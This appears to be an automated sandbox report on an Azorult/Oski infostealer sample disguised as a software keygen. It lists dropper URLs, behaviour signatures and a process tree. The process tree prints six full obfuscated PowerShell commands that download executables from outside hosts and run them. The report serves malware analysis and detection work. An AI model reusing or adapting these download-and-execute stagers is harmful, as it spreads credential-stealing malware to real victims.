azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
25s
max time network
163s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (119) — копия.exe

Score

10^/10

azorult oski discovery infostealer spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

9 3988 powershell.exe
12 3988 powershell.exe
13 1520 powershell.exe
15 1520 powershell.exe
17 4420 powershell.exe
19 4420 powershell.exe
Downloads MZ/PE file

flow	pid	process
9	3988	powershell.exe
12	3988	powershell.exe
13	1520	powershell.exe
15	1520	powershell.exe
17	4420	powershell.exe
19	4420	powershell.exe

Executes dropped EXE 14 IoCs

Processes:

Keygen.exefvd.exeych.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeych.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exegej.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exegej.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid	process
2212	Keygen.exe
5024	fvd.exe
5036	ych.exe
4216	FVjhgtresfdbv.exe
4236	NHtrdsaghfDF.exe
4300	ych.exe
4320	FVjhgtresfdbv.exe
4392	NHtrdsaghfDF.exe
4272	gej.exe
3772	FVjhgtresfdbv.exe
4808	NHtrdsaghfDF.exe
4844	gej.exe
4872	FVjhgtresfdbv.exe
4972	NHtrdsaghfDF.exe

Loads dropped DLL 6 IoCs

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exe

pid process

4320 FVjhgtresfdbv.exe
4320 FVjhgtresfdbv.exe
4320 FVjhgtresfdbv.exe
4872 FVjhgtresfdbv.exe
4872 FVjhgtresfdbv.exe
4872 FVjhgtresfdbv.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
4320	FVjhgtresfdbv.exe
4320	FVjhgtresfdbv.exe
4320	FVjhgtresfdbv.exe
4872	FVjhgtresfdbv.exe
4872	FVjhgtresfdbv.exe
4872	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

ych.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exegej.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

description	pid	process	target process
PID 5036 set thread context of 4300	5036	ych.exe	ych.exe
PID 4216 set thread context of 4320	4216	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4236 set thread context of 4392	4236	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 4272 set thread context of 4844	4272	gej.exe	gej.exe
PID 3772 set thread context of 4872	3772	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4808 set thread context of 4972	4808	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

FVjhgtresfdbv.exeFVjhgtresfdbv.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1884 timeout.exe
3836 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe

pid	process
1884	timeout.exe
3836	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2836	powershell.exe
3988	powershell.exe
1520	powershell.exe
3668	powershell.exe
3988	powershell.exe
2836	powershell.exe
3668	powershell.exe
1520	powershell.exe
3668	powershell.exe
1520	powershell.exe
1520	powershell.exe
3988	powershell.exe
3988	powershell.exe
2836	powershell.exe
2836	powershell.exe
4420	powershell.exe
4420	powershell.exe
4524	powershell.exe
4524	powershell.exe
4420	powershell.exe
4524	powershell.exe
4420	powershell.exe
4524	powershell.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

ych.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exegej.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

5036 ych.exe
4216 FVjhgtresfdbv.exe
4236 NHtrdsaghfDF.exe
4272 gej.exe
3772 FVjhgtresfdbv.exe
4808 NHtrdsaghfDF.exe

pid	process
5036	ych.exe
4216	FVjhgtresfdbv.exe
4236	NHtrdsaghfDF.exe
4272	gej.exe
3772	FVjhgtresfdbv.exe
4808	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exefvd.exe

description	pid	process
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	3988	powershell.exe
Token: SeDebugPrivilege	3668	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	4420	powershell.exe
Token: SeDebugPrivilege	4524	powershell.exe
Token: SeDebugPrivilege	5024	fvd.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Keygen.exeych.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exegej.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

2212 Keygen.exe
5036 ych.exe
4216 FVjhgtresfdbv.exe
4236 NHtrdsaghfDF.exe
4272 gej.exe
3772 FVjhgtresfdbv.exe
4808 NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (119) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exeych.exe

description	pid	process	target process
PID 364 wrote to memory of 924	364	Keygen — копия (119) — копия.exe	cmd.exe
PID 364 wrote to memory of 924	364	Keygen — копия (119) — копия.exe	cmd.exe
PID 364 wrote to memory of 924	364	Keygen — копия (119) — копия.exe	cmd.exe
PID 924 wrote to memory of 2212	924	cmd.exe	Keygen.exe
PID 924 wrote to memory of 2212	924	cmd.exe	Keygen.exe
PID 924 wrote to memory of 2212	924	cmd.exe	Keygen.exe
PID 924 wrote to memory of 916	924	cmd.exe	mshta.exe
PID 924 wrote to memory of 916	924	cmd.exe	mshta.exe
PID 924 wrote to memory of 916	924	cmd.exe	mshta.exe
PID 924 wrote to memory of 1748	924	cmd.exe	mshta.exe
PID 924 wrote to memory of 1748	924	cmd.exe	mshta.exe
PID 924 wrote to memory of 1748	924	cmd.exe	mshta.exe
PID 924 wrote to memory of 1884	924	cmd.exe	timeout.exe
PID 924 wrote to memory of 1884	924	cmd.exe	timeout.exe
PID 924 wrote to memory of 1884	924	cmd.exe	timeout.exe
PID 916 wrote to memory of 3988	916	mshta.exe	powershell.exe
PID 916 wrote to memory of 3988	916	mshta.exe	powershell.exe
PID 916 wrote to memory of 3988	916	mshta.exe	powershell.exe
PID 1748 wrote to memory of 2836	1748	mshta.exe	powershell.exe
PID 1748 wrote to memory of 2836	1748	mshta.exe	powershell.exe
PID 1748 wrote to memory of 2836	1748	mshta.exe	powershell.exe
PID 924 wrote to memory of 3860	924	cmd.exe	mshta.exe
PID 924 wrote to memory of 3860	924	cmd.exe	mshta.exe
PID 924 wrote to memory of 3860	924	cmd.exe	mshta.exe
PID 924 wrote to memory of 3544	924	cmd.exe	mshta.exe
PID 924 wrote to memory of 3544	924	cmd.exe	mshta.exe
PID 924 wrote to memory of 3544	924	cmd.exe	mshta.exe
PID 924 wrote to memory of 3836	924	cmd.exe	timeout.exe
PID 924 wrote to memory of 3836	924	cmd.exe	timeout.exe
PID 924 wrote to memory of 3836	924	cmd.exe	timeout.exe
PID 3544 wrote to memory of 3668	3544	mshta.exe	powershell.exe
PID 3544 wrote to memory of 3668	3544	mshta.exe	powershell.exe
PID 3544 wrote to memory of 3668	3544	mshta.exe	powershell.exe
PID 3860 wrote to memory of 1520	3860	mshta.exe	powershell.exe
PID 3860 wrote to memory of 1520	3860	mshta.exe	powershell.exe
PID 3860 wrote to memory of 1520	3860	mshta.exe	powershell.exe
PID 924 wrote to memory of 4340	924	cmd.exe	mshta.exe
PID 924 wrote to memory of 4340	924	cmd.exe	mshta.exe
PID 924 wrote to memory of 4340	924	cmd.exe	mshta.exe
PID 924 wrote to memory of 4408	924	cmd.exe	mshta.exe
PID 924 wrote to memory of 4408	924	cmd.exe	mshta.exe
PID 924 wrote to memory of 4408	924	cmd.exe	mshta.exe
PID 4340 wrote to memory of 4420	4340	mshta.exe	powershell.exe
PID 4340 wrote to memory of 4420	4340	mshta.exe	powershell.exe
PID 4340 wrote to memory of 4420	4340	mshta.exe	powershell.exe
PID 4408 wrote to memory of 4524	4408	mshta.exe	powershell.exe
PID 4408 wrote to memory of 4524	4408	mshta.exe	powershell.exe
PID 4408 wrote to memory of 4524	4408	mshta.exe	powershell.exe
PID 1520 wrote to memory of 5024	1520	powershell.exe	fvd.exe
PID 1520 wrote to memory of 5024	1520	powershell.exe	fvd.exe
PID 1520 wrote to memory of 5024	1520	powershell.exe	fvd.exe
PID 3988 wrote to memory of 5036	3988	powershell.exe	ych.exe
PID 3988 wrote to memory of 5036	3988	powershell.exe	ych.exe
PID 3988 wrote to memory of 5036	3988	powershell.exe	ych.exe
PID 5036 wrote to memory of 4216	5036	ych.exe	FVjhgtresfdbv.exe
PID 5036 wrote to memory of 4216	5036	ych.exe	FVjhgtresfdbv.exe
PID 5036 wrote to memory of 4216	5036	ych.exe	FVjhgtresfdbv.exe
PID 5036 wrote to memory of 4236	5036	ych.exe	NHtrdsaghfDF.exe
PID 5036 wrote to memory of 4236	5036	ych.exe	NHtrdsaghfDF.exe
PID 5036 wrote to memory of 4236	5036	ych.exe	NHtrdsaghfDF.exe
PID 5036 wrote to memory of 4300	5036	ych.exe	ych.exe
PID 5036 wrote to memory of 4300	5036	ych.exe	ych.exe
PID 5036 wrote to memory of 4300	5036	ych.exe	ych.exe
PID 5036 wrote to memory of 4300	5036	ych.exe	ych.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (119) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (119) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:364

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\165C.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (119) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:924

C:\Users\Admin\AppData\Local\Temp\165C.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2212

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\165C.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:916

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3988

C:\Users\Public\ych.exe
"C:\Users\Public\ych.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5036

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4216

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4320

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4236

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4392

C:\Users\Public\ych.exe
"C:\Users\Public\ych.exe"
6⤵
- Executes dropped EXE
PID:4300

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\165C.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1748

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2836

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1884

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\165C.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3860

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1520

C:\Users\Public\fvd.exe
"C:\Users\Public\fvd.exe"
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5024

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\165C.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3544

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3668

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:3836

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\165C.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4340

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4420

C:\Users\Public\gej.exe
"C:\Users\Public\gej.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4272

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3772

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4872

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4808

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4972

C:\Users\Public\gej.exe
"C:\Users\Public\gej.exe"
6⤵
- Executes dropped EXE
PID:4844

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\165C.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4408

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4524

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

